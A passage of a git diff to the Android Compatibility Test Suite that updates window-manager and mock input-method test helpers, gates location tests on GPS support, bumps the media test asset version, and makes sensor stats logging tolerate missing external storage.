* features or not listing either at all.
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 4e8d8fd..f362c23 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -825,6 +825,14 @@
return mRootTasks.size();
}
+ public int getRootTasksCount(int displayId) {
+ int count = 0;
+ for (ActivityTask rootTask : mRootTasks) {
+ if (rootTask.mDisplayId == displayId) ++count;
+ }
+ return count;
+ }
+
boolean pendingActivityContain(ComponentName activityName) {
return mPendingActivities.contains(getActivityName(activityName));
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index 02a18c5..1a77ba4 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -273,6 +273,12 @@
"keyguard window to dismiss"));
}
+ void waitForWindowSurfaceDisappeared(String windowName) {
+ waitForWithAmState(state -> {
+ return !state.isWindowSurfaceShown(windowName);
+ }, windowName + "'s surface is disappeared");
+ }
+
public boolean waitForWithAmState(Predicate<WindowManagerState> waitCondition,
String message) {
return waitFor((amState) -> waitCondition.test(amState), message);
@@ -554,6 +560,13 @@
containsWindow(windowName));
}
+ public void waitAndAssertVisibilityGone(final ComponentName activityName) {
+ // Sometimes the surface can be shown due to the late animation.
+ // Wait for the animation is done.
+ waitForWindowSurfaceDisappeared(getWindowName(activityName));
+ assertVisibility(activityName, false);
+ }
+
public void assertVisibility(final ComponentName activityName, final boolean visible) {
final String windowName = getWindowName(activityName);
// Check existence of activity and window.
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
index f08633f..4e62194 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
@@ -340,4 +340,21 @@
throw new RuntimeException("notExpectEvent failed: " + stream.dump(), e);
}
}
+
+ /**
+ * Clear all events with {@code eventName} in given {@code stream} and returns a forked
+ * {@link ImeEventStream} without events with {@code eventName}.
+ * <p>It is used to make sure previous events influence the test. </p>
+ *
+ * @param stream {@link ImeEventStream} to be cleared
+ * @param eventName The targeted cleared event name
+ * @return A forked {@link ImeEventStream} without event with {@code eventName}
+ */
+ public static ImeEventStream clearAllEvents(@NonNull ImeEventStream stream,
+ @NonNull String eventName) {
+ while (stream.seekToFirst(event -> eventName.equals(event.getEventName())).isPresent()) {
+ stream.skip(1);
+ }
+ return stream.copy();
+ }
}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
index 917f7b3..6731e85 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
@@ -52,6 +52,7 @@
private static final String INLINE_SUGGESTIONS_ENABLED = "InlineSuggestionsEnabled";
private static final String INLINE_SUGGESTION_VIEW_CONTENT_DESC =
"InlineSuggestionViewContentDesc";
+ private static final String STRICT_MODE_ENABLED = "StrictModeEnabled";
@NonNull
private final PersistableBundle mBundle;
@@ -127,6 +128,10 @@
return mBundle.getString(INLINE_SUGGESTION_VIEW_CONTENT_DESC, defaultValue);
}
+ public boolean isStrictModeEnabled() {
+ return mBundle.getBoolean(STRICT_MODE_ENABLED, false);
+ }
+
static Bundle serializeToBundle(@NonNull String eventCallbackActionName,
@Nullable Builder builder) {
final Bundle result = new Bundle();
@@ -280,5 +285,10 @@
return this;
}
+ /** Sets whether to enable {@link android.os.StrictMode} or not. */
+ public Builder setStrictModeEnabled(boolean enabled) {
+ mBundle.putBoolean(STRICT_MODE_ENABLED, enabled);
+ return this;
+ }
}
}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index 5be50de..ba7262e 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -36,6 +36,7 @@
import android.os.Looper;
import android.os.Process;
import android.os.ResultReceiver;
+import android.os.StrictMode;
import android.os.SystemClock;
import android.text.TextUtils;
import android.util.Log;
@@ -44,6 +45,7 @@
import android.view.Gravity;
import android.view.KeyEvent;
import android.view.View;
+import android.view.ViewConfiguration;
import android.view.Window;
import android.view.WindowInsets;
import android.view.WindowManager;
@@ -59,9 +61,9 @@
import android.view.inputmethod.InputContentInfo;
import android.view.inputmethod.InputMethod;
import android.widget.FrameLayout;
+import android.widget.HorizontalScrollView;
import android.widget.ImageView;
import android.widget.LinearLayout;
-import android.widget.HorizontalScrollView;
import android.widget.TextView;
import android.widget.inline.InlinePresentationSpec;
@@ -288,8 +290,7 @@
return ImeEvent.RETURN_VALUE_UNAVAILABLE;
}
case "getDisplayId":
- return getSystemService(WindowManager.class)
- .getDefaultDisplay().getDisplayId();
+ return getDisplay().getDisplayId();
case "verifyLayoutInflaterContext":
return getLayoutInflater().getContext() == this;
case "setHeight":
@@ -299,6 +300,17 @@
case "setInlineSuggestionsExtras":
mInlineSuggestionsExtras = command.getExtras();
return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+ case "verifyGetDisplay":
+ Context configContext = createConfigurationContext(new Configuration());
+ return getDisplay() != null && configContext.getDisplay() != null;
+ case "verifyGetWindowManager":
+ configContext = createConfigurationContext(new Configuration());
+ return getSystemService(WindowManager.class) != null
+ && configContext.getSystemService(WindowManager.class) != null;
+ case "verifyGetViewConfiguration":
+ configContext = createConfigurationContext(new Configuration());
+ return ViewConfiguration.get(this) != null
+ && ViewConfiguration.get(configContext) != null;
}
}
return ImeEvent.RETURN_VALUE_UNAVAILABLE;
@@ -368,6 +380,17 @@
mClientPackageName.set(mSettings.getClientPackageName());
mImeEventActionName.set(mSettings.getEventCallbackActionName());
+ // TODO(b/159593676): consider to detect more violations
+ if (mSettings.isStrictModeEnabled()) {
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder()
+ .detectIncorrectContextUse()
+ .penaltyLog()
+ .penaltyListener(Runnable::run,
+ v -> getTracer().onStrictModeViolated(() -> {}))
+ .build());
+ }
+
getTracer().onCreate(() -> {
super.onCreate();
mHandlerThread.start();
@@ -613,12 +636,7 @@
@Override
public void onStartInput(EditorInfo editorInfo, boolean restarting) {
getTracer().onStartInput(editorInfo, restarting,
- () -> {
- super.onStartInput(editorInfo, restarting);
- if (mSettings.getInlineSuggestionsEnabled()) {
- maybeClearExistingInlineSuggestions();
- }
- });
+ () -> super.onStartInput(editorInfo, restarting));
}
@Override
@@ -727,13 +745,6 @@
final AtomicInteger mInflatedViewCount;
final AtomicBoolean mValid = new AtomicBoolean(true);
- PendingInlineSuggestions() {
- mResponse = null;
- mTotalCount = 0;
- mViews = null;
- mInflatedViewCount = null;
- }
-
PendingInlineSuggestions(InlineSuggestionsResponse response) {
mResponse = response;
mTotalCount = response.getInlineSuggestions().size();
@@ -780,7 +791,9 @@
}
mPendingInlineSuggestions = pendingInlineSuggestions;
if (pendingInlineSuggestions.mTotalCount == 0) {
- mView.updateInlineSuggestions(pendingInlineSuggestions);
+ if (mView != null) {
+ mView.updateInlineSuggestions(pendingInlineSuggestions);
+ }
return true;
}
@@ -811,15 +824,6 @@
});
}
- @MainThread
- private void maybeClearExistingInlineSuggestions() {
- if (mPendingInlineSuggestions != null
- && mPendingInlineSuggestions.mTotalCount > 0) {
- mView.updateInlineSuggestions(new PendingInlineSuggestions());
- mPendingInlineSuggestions = null;
- }
- }
-
/**
* Event tracing helper class for {@link MockIme}.
*/
@@ -1047,6 +1051,11 @@
recordEventInternal("onInputViewLayoutChanged", runnable, arguments);
}
+ void onStrictModeViolated(@NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ recordEventInternal("onStrictModeViolated", runnable, arguments);
+ }
+
InlineSuggestionsRequest onCreateInlineSuggestionsRequest(
@NonNull Supplier<InlineSuggestionsRequest> supplier) {
return recordEventInternal("onCreateInlineSuggestionsRequest", supplier);
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index 699da4c..b495e36 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -21,6 +21,7 @@
import android.app.UiAutomation;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
+import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
@@ -45,6 +46,7 @@
import androidx.annotation.Nullable;
import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
import org.junit.AssumptionViolatedException;
@@ -1006,4 +1008,19 @@
public ImeCommand callSetInlineSuggestionsExtras(@NonNull Bundle bundle) {
return callCommandInternal("setInlineSuggestionsExtras", bundle);
}
+
+ @NonNull
+ public ImeCommand callVerifyGetDisplay() {
+ return callCommandInternal("verifyGetDisplay", new Bundle());
+ }
+
+ @NonNull
+ public ImeCommand callVerifyGetWindowManager() {
+ return callCommandInternal("verifyGetWindowManager", new Bundle());
+ }
+
+ @NonNull
+ public ImeCommand callVerifyGetViewConfiguration() {
+ return callCommandInternal("verifyGetViewConfiguration", new Bundle());
+ }
}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 23e4dd8..722d71b 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -562,7 +562,9 @@
CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText);
TestUtils.waitOnMainUntil(() -> editTextHasWindowFocus.get()
&& !popupTextHasWindowFocus.get(), TIMEOUT);
- expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+ // Expect there is no "onStartInput" when window focus back to activity's EditText.
+ // Since the EditText still has view focus and served by InputMethodManager.
+ notExpectEvent(stream, editorMatcher("onStartInput", marker), NOT_EXPECT_TIMEOUT);
expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
}
}
@@ -592,8 +594,6 @@
layout.addView(editText);
return layout;
});
- // Wait until the MockIme gets bound to the TestActivity.
- expectBindInput(stream, Process.myPid(), TIMEOUT);
// Emulate tap event, expect there is no "onStartInput", and "showSoftInput" happened.
final EditText editText = editTextRef.get();
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
index 9122c58..d104450 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
@@ -37,6 +37,7 @@
import android.graphics.PixelFormat;
import android.graphics.Point;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.util.Pair;
import android.view.Gravity;
import android.view.View;
@@ -134,6 +135,7 @@
}
}
+ @AppModeFull(reason = "Instant apps cannot rely on ACTION_CLOSE_SYSTEM_DIALOGS")
@Test
public void testEditTextPositionAndPersistWhenAboveImeWindowShown() throws Exception {
final InputMethodManager imm = InstrumentationRegistry.getInstrumentation().getContext()
@@ -227,7 +229,7 @@
TextView textView = new TextView(activity);
textView.setText("I'm a TextView");
textView.setHeight(activity.getWindowManager().getMaximumWindowMetrics()
- .getBounds().height() / 2);
+ .getBounds().height() / 3);
layout.addView(textView);
}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java
index b817a2c..3a57360 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java
@@ -21,6 +21,7 @@
import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
import android.app.Service;
@@ -130,6 +131,12 @@
150, 150, pos.x, pos.y,
TYPE_APPLICATION_OVERLAY, FLAG_NOT_FOCUSABLE,
PixelFormat.OPAQUE);
+ // Currently SOFT_INPUT_STATE_UNSPECIFIED isn't appropriate for CTS test because there is no
+ // clear spec about how it behaves. In order to make our tests deterministic, currently we
+ // must use SOFT_INPUT_STATE_HIDDEN to make sure soft-keyboard will hide after navigating
+ // forward to next window.
+ // TODO(Bug 77152727): Remove the following code once we define how
+ params.softInputMode = SOFT_INPUT_STATE_HIDDEN;
wm.addView(editText, params);
return editText;
}
diff --git a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
index d159828..846094c 100644
--- a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
+++ b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
@@ -423,6 +423,14 @@
String.valueOf(svid),
svid >= 1 && svid <= 36);
break;
+ case GnssStatus.CONSTELLATION_IRNSS:
+ softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
+ "= CONSTELLATION_IRNSS",
+ timeInNs,
+ "1 <= X <= 14",
+ String.valueOf(svid),
+ svid >= 1 && svid <= 14);
+ break;
default:
// Explicit fail if did not receive valid constellation type.
softAssert.assertTrue("svid: Space Vehicle ID. Did not receive any valid " +
diff --git a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
index de9e21e..05b80b9 100644
--- a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
+++ b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
@@ -32,6 +32,7 @@
import static org.junit.Assert.fail;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationManager;
@@ -165,7 +166,11 @@
public void testGetProviders() {
List<String> providers = mManager.getProviders(false);
assertTrue(providers.contains(TEST_PROVIDER));
- assertTrue(providers.contains(GPS_PROVIDER));
+ if (hasGpsFeature()) {
+ assertTrue(providers.contains(GPS_PROVIDER));
+ } else {
+ assertFalse(providers.contains(GPS_PROVIDER));
+ }
assertTrue(providers.contains(PASSIVE_PROVIDER));
}
@@ -238,4 +243,8 @@
private static Executor directExecutor() {
return Runnable::run;
}
+
+ private boolean hasGpsFeature() {
+ return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION_GPS);
+ }
}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index 9e0ed0b..e6e69df 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -32,6 +32,7 @@
import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
@@ -555,6 +556,8 @@
@Test
@AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS permission")
public void testRequestGpsUpdates_B9758659() throws Exception {
+ assumeTrue(hasGpsFeature());
+
// test for b/9758659, where the gps provider may reuse network provider positions creating
// an unnatural feedback loop
assertThat(mManager.isProviderEnabled(GPS_PROVIDER)).isTrue();
@@ -1101,11 +1104,14 @@
@Test
public void testGetGnssYearOfHardware() {
+ assumeTrue(hasGpsFeature());
mManager.getGnssYearOfHardware();
}
@Test
public void testGetGnssHardwareModelName() {
+ assumeTrue(hasGpsFeature());
+
// model name should be longer than 4 characters
String gnssHardwareModelName = mManager.getGnssHardwareModelName();
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index ccf41c7..a618ac0 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -25,7 +25,7 @@
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
- <option name="media-folder-name" value="CtsMediaV2TestCases" />
+ <option name="media-folder-name" value="CtsMediaV2TestCases-1.2" />
<option name="dynamic-config-module" value="CtsMediaV2TestCases" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml
index 4d6d9d9..384d3d7 100644
--- a/tests/media/DynamicConfig.xml
+++ b/tests/media/DynamicConfig.xml
@@ -1,6 +1,6 @@
<dynamicConfig>
<entry key="media_files_url">
- <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.1.zip</value>
+ <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.2.zip</value>
</entry>
</dynamicConfig>
diff --git a/tests/media/jni/NativeCodecTestBase.cpp b/tests/media/jni/NativeCodecTestBase.cpp
index 750abe6..b07c1c3 100644
--- a/tests/media/jni/NativeCodecTestBase.cpp
+++ b/tests/media/jni/NativeCodecTestBase.cpp
@@ -528,10 +528,11 @@
int CodecTestBase::getWidth(AMediaFormat* format) {
int width = -1;
- int cropLeft, cropRight;
+ int cropLeft, cropRight, cropTop, cropBottom;
AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_WIDTH, &width);
- if (AMediaFormat_getInt32(format, "crop-left", &cropLeft) &&
- AMediaFormat_getInt32(format, "crop-right", &cropRight)) {
+ if (AMediaFormat_getRect(format, "crop", &cropLeft, &cropTop, &cropRight, &cropBottom) ||
+ (AMediaFormat_getInt32(format, "crop-left", &cropLeft) &&
+ AMediaFormat_getInt32(format, "crop-right", &cropRight))) {
width = cropRight + 1 - cropLeft;
}
return width;
@@ -539,10 +540,11 @@
int CodecTestBase::getHeight(AMediaFormat* format) {
int height = -1;
- int cropTop, cropBottom;
+ int cropLeft, cropRight, cropTop, cropBottom;
AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_HEIGHT, &height);
- if (AMediaFormat_getInt32(format, "crop-top", &cropTop) &&
- AMediaFormat_getInt32(format, "crop-bottom", &cropBottom)) {
+ if (AMediaFormat_getRect(format, "crop", &cropLeft, &cropTop, &cropRight, &cropBottom) ||
+ (AMediaFormat_getInt32(format, "crop-top", &cropTop) &&
+ AMediaFormat_getInt32(format, "crop-bottom", &cropBottom))) {
height = cropBottom + 1 - cropTop;
}
return height;
diff --git a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
index 515f455..4185d7c 100644
--- a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
@@ -57,7 +57,6 @@
private int mTrackID = -1;
private ArrayList<MediaCodec.BufferInfo> mInfoList = new ArrayList<>();
- private int mTotalSize;
private ArrayList<String> mCheckESList = new ArrayList<>();
@@ -100,8 +99,8 @@
mMuxer.writeSampleData(mTrackID, buf, info);
}
MediaCodec.BufferInfo copy = new MediaCodec.BufferInfo();
- copy.set(mTotalSize + info.offset, info.size, info.presentationTimeUs, info.flags);
- mTotalSize += info.size;
+ copy.set(mOutputBuff.getOutStreamSize(), info.size, info.presentationTimeUs,
+ info.flags);
mInfoList.add(copy);
}
super.dequeueOutput(bufferIndex, info);
@@ -166,7 +165,6 @@
mCodec = MediaCodec.createByCodecName(encoder);
mOutputBuff.reset();
mInfoList.clear();
- mTotalSize = 0;
/* TODO(b/157523045) */
if (mRange <= UNSPECIFIED || mStandard <= UNSPECIFIED ||
mTransferCurve <= UNSPECIFIED) {
diff --git a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
index 343f4f0..4b765ab 100644
--- a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
@@ -83,7 +83,7 @@
}
final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
// Audio - CodecMime, bit-rate, sample rate, channel count
- {MediaFormat.MIMETYPE_AUDIO_AAC, 64000, 8000, 1, -1},
+ {MediaFormat.MIMETYPE_AUDIO_AAC, 64000, 48000, 1, -1},
{MediaFormat.MIMETYPE_AUDIO_AAC, 128000, 48000, 2, -1},
// Video - CodecMime, bit-rate, height, width, frame-rate
diff --git a/tests/media/src/android/mediav2/cts/ExtractorTest.java b/tests/media/src/android/mediav2/cts/ExtractorTest.java
index a0aaef1..cbfc9c6 100644
--- a/tests/media/src/android/mediav2/cts/ExtractorTest.java
+++ b/tests/media/src/android/mediav2/cts/ExtractorTest.java
@@ -864,6 +864,10 @@
public void testExtract() throws IOException {
assumeTrue(shouldRunTest(mMime));
assertTrue(mSrcFiles.length > 1);
+ assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+ assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
+ assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_MPEG));
+ assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC));
MediaExtractor refExtractor = new MediaExtractor();
refExtractor.setDataSource(mInpPrefix + mSrcFiles[0]);
boolean isOk = true;
@@ -952,6 +956,9 @@
@Test
public void testSeekToZero() throws IOException {
assumeTrue(shouldRunTest(mMime));
+ assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+ assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_MPEG));
+ assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC));
boolean isOk = true;
for (String srcFile : mSrcFiles) {
MediaExtractor extractor = new MediaExtractor();
@@ -1033,6 +1040,10 @@
public void testExtractNative() {
assumeTrue(shouldRunTest(mMime));
assertTrue(mSrcFiles.length > 1);
+ assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+ assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
+ assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_MPEG));
+ assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC));
boolean isOk = true;
for (int i = 1; i < mSrcFiles.length; i++) {
if (!nativeTestExtract(mInpPrefix + mSrcFiles[0], mInpPrefix + mSrcFiles[i],
@@ -1085,6 +1096,9 @@
@Test
public void testSeekToZeroNative() {
assumeTrue(shouldRunTest(mMime));
+ assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+ assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_MPEG));
+ assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC));
boolean isOk = true;
for (String srcFile : mSrcFiles) {
if (!nativeTestSeekToZero(mInpPrefix + srcFile, mMime)) {
diff --git a/tests/media/src/android/mediav2/cts/MuxerTest.java b/tests/media/src/android/mediav2/cts/MuxerTest.java
index 4af6dd37..0ca67f2 100644
--- a/tests/media/src/android/mediav2/cts/MuxerTest.java
+++ b/tests/media/src/android/mediav2/cts/MuxerTest.java
@@ -862,6 +862,10 @@
public void testOffsetPresentationTime() throws IOException {
final int OFFSET_TS = 111000;
Assume.assumeTrue(shouldRunTest(mOutFormat));
+ Assume.assumeTrue("TODO(b/148978457)",
+ mOutFormat != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ Assume.assumeTrue("TODO(b/148978457)",
+ mOutFormat != MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP);
Assume.assumeTrue("TODO(b/146423022)",
mOutFormat != MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM);
Assume.assumeTrue("TODO(b/146421018)",
@@ -891,6 +895,10 @@
@Test
public void testOffsetPresentationTimeNative() {
Assume.assumeTrue(shouldRunTest(mOutFormat));
+ Assume.assumeTrue("TODO(b/148978457)",
+ mOutFormat != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ Assume.assumeTrue("TODO(b/148978457)",
+ mOutFormat != MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP);
Assume.assumeTrue("TODO(b/146423022)",
mOutFormat != MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM);
Assume.assumeTrue("TODO(b/146421018)",
@@ -1010,6 +1018,8 @@
public void testSimpleMux() throws IOException {
Assume.assumeTrue("TODO(b/146421018)",
!mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
+ Assume.assumeTrue("TODO(b/146923287)",
+ !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
MuxerTestHelper mediaInfo = new MuxerTestHelper(mInpPath, mMime);
assertEquals("error! unexpected track count", 1, mediaInfo.getTrackCount());
for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; format++) {
@@ -1072,6 +1082,8 @@
public void testSimpleMuxNative() {
Assume.assumeTrue("TODO(b/146421018)",
!mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
+ Assume.assumeTrue("TODO(b/146923287)",
+ !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
assertTrue(nativeTestSimpleMux(mInpPath, mOutPath, mMime, selector));
}
}
diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java
index 581e9ad..a5e635c 100644
--- a/tests/media/src/android/mediav2/cts/WorkDir.java
+++ b/tests/media/src/android/mediav2/cts/WorkDir.java
@@ -40,7 +40,7 @@
// user has specified the mediaDirString via instrumentation-arg
return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
} else {
- return (getTopDirString() + "test/CtsMediaV2TestCases/");
+ return (getTopDirString() + "test/CtsMediaV2TestCases-1.2/");
}
}
}
\ No newline at end of file
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
index 3ef2eef..c6b247b 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
@@ -40,6 +40,7 @@
* together so that they form a tree.
*/
public class SensorStats {
+ private static final String TAG = "SensorStats";
public static final String DELIMITER = "__";
public static final String ERROR = "error";
@@ -146,23 +147,39 @@
}
}
+ /* Checks if external storage is available for read and write */
+ private boolean isExternalStorageWritable() {
+ String state = Environment.getExternalStorageState();
+ return Environment.MEDIA_MOUNTED.equals(state);
+ }
+
/**
* Utility method to log the stats to a file. Will overwrite the file if it already exists.
*/
public void logToFile(Context context, String fileName) throws IOException {
- // Only log to file if currently not an Instant App since Instant Apps do not have access to
- // external storage.
- if (!context.getPackageManager().isInstantApp()) {
- File statsDirectory = SensorCtsHelper.getSensorTestDataDirectory("stats/");
- File logFile = new File(statsDirectory, fileName);
- final Map<String, Object> flattened = flatten();
- FileWriter fileWriter = new FileWriter(logFile, false /* append */);
- try (BufferedWriter writer = new BufferedWriter(fileWriter)) {
- for (String key : getSortedKeys(flattened)) {
- Object value = flattened.get(key);
- writer.write(String.format("%s: %s\n", key, getValueString(value)));
+ if (!isExternalStorageWritable()) {
+ Log.w(TAG,
+ "External storage unavailable, skipping log to file: " + fileName);
+ return;
+ }
+
+ try {
+ // Only log to file if currently not an Instant App since Instant Apps do not have access to
+ // external storage.
+ if (!context.getPackageManager().isInstantApp()) {
+ File statsDirectory = SensorCtsHelper.getSensorTestDataDirectory("stats/");
+ File logFile = new File(statsDirectory, fileName);
+ final Map<String, Object> flattened = flatten();
+ FileWriter fileWriter = new FileWriter(logFile, false /* append */);
+ try (BufferedWriter writer = new BufferedWriter(fileWriter)) {
+ for (String key : getSortedKeys(flattened)) {
+ Object value = flattened.get(key);
+ writer.write(String.format("%s: %s\n", key, getValueString(value)));
+ }
}
}
+ } catch(IOException e) {
+ Log.w(TAG, "Unable to write to file: " + fileName, e);
}
}
diff --git a/tests/signature/api/Android.bp b/tests/signature/api/Android.bp
index 424c881..b177f21 100644
--- a/tests/signature/api/Android.bp
+++ b/tests/signature/api/Android.bp
@@ -14,7 +14,7 @@
genrule_defaults {
name: "signature-cts-api-api-gz",
